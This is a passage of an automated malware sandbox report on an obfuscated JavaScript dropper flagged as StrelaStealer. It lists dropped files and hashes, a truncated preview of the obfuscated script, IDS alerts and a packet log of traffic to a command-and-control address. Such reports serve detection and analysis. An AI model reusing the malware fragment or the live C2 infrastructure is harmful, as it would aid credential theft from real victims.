Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\dba603b0-251c-4b41-acfd-99d1b1dcfe7a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16259), with CRLF line terminators
Entropy (8bit):	4.932580998622212
TrID:
File name:	200475024256003612.js
File size:	19'934 bytes
MD5:	30eb29d11866d9a82334c0a12b841660
SHA1:	03b635747e50e58a2e28015104e41d36ac8c1bdc
SHA256:	d51745ccd5867b0043d4d86528702ae6fb179c6d63222e456c1b3ec167170b48
SHA512:	4ccb93bbee42dfc7a70ea93225c29c0397f3776577aa06ad7a582dbb71735107761f8624ca1f7a0790a9203c36767b2d838fdd859f7dc596ce292a6e43cb383a
SSDEEP:	192:fbkjku1cF5n6y2T0HypYC/w3nCcYT73CK6k+WcwaTn2LiJZbm22wEeojw5bG:e9T0qYRCSkfcrj2ubR2wEtw56
TLSH:	2C92A541DD6AD4DB98F628F5554108B7311852CCF9D0DE4E9C8B30C4E66EED9F8E8278
File Content Preview:	function vretewq(){vczrmwic=[1031,3079,5127,4103,2055,3072];var setpjvm=this[nlmvlrgrm+ztosuwd+xaglpamxr+dcsmaucv+oyuhpqbh+gqkpdo+foydehnuy+fzpoxddgd](this[mbuyds+gbuspdn+oezebkz+xaglpamxr+xycssqk+nlmvlrgrm+fzpoxddgd][krrifjtd+xaglpamxr+oyuhpqbh+ztosuwd+f

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:53:56.765459+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T03:53:56.765459+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T03:53:59.339230+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:53:55.983393908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:55.988261938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:55.988343000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:55.991055965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:55.996633053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.765276909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.765389919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.765455961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.765459061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.765558958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.765573025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.765597105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.765752077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.765775919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.765880108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.766093969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.766104937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.766120911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.766171932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.766212940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.808269024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.808288097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.808299065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.808523893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.886182070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.886209011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.886220932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.886238098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.886277914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.886324883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.886477947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.886491060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.886524916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.886579037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.886810064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.886822939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.886857033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.886892080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.886950970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.887270927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.887281895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.887294054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.887311935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.887866020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.887881041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.887898922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.887917042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.887944937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.888125896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.888138056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.888176918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.888290882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.888303995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.888334036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.888874054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.896606922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.896672010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.929325104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.929342031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.929353952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.929367065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.929378033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.929404974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.929457903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:56.974545956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.974581957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:56.974651098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.006764889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.006830931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.006854057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.006917000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.006928921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.006957054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.007936001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.007950068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.007992983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.008316040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008327961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008366108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.008719921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008733034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008744001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008754015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008764029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.008764982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008795023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.008817911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.008919954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008933067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008944988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008955956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008969069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008970976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.008977890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.008985043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.009000063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.009027004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.009059906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.009072065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.009083033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.009094000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.009102106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.009105921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.009110928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.009144068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.009795904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.009809971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.009820938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.009857893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.010123968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.010134935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.010147095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.010158062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.010164976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.010180950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.011013985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.011075974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.011164904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.011178017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.011215925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.011550903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.011650085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.011662006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.011677027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.011682987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.011715889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.011960030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.017580032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.017626047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.049400091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.049458981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.049472094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.049499035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.049609900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.049622059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.049647093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.049844027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.049856901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.049870968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.049880028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.049911022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.095206022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.095262051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.095273018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.095391035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.095412970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.095468998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.127228975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.127365112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.127377033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.127408028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.127412081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.127424002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.127435923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.127445936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.127569914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.127839088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.127854109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.127892017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.128032923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.128130913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.128143072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.128169060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.128396988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.128427029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.128457069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.128515005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.128560066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.128612995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.128670931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.128709078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.128921986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.128935099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.128974915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.129112005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.129254103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.129266977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.129290104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.129529953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.129542112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.129553080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.129563093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.129574060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.129582882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.130044937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.130088091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.130095005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.130108118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.130136013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.130362034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.130374908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.130386114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.130398035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.130408049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.130444050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.130985022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.131064892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.131077051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.131105900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.131266117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.131278038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.131289959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.131300926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.131305933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.131325006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.131727934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.131773949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.131874084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.131887913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.131937981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.132106066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.132117987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.132128954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.132153988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.132157087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.132191896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.132635117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.132798910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.132811069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.132846117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.132951975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.132966042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.132991076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.133204937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.133217096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.133239985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.133452892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.133466005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.133476019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.133496046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.133541107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.137871027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.137963057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.137975931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.137995005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.138115883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.138128042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.138154030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.138259888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.138272047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.138278008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:53:57.138298035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.138314962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:53:57.138441086 CET	80	49704	193.143.1.205	192.168.2.5
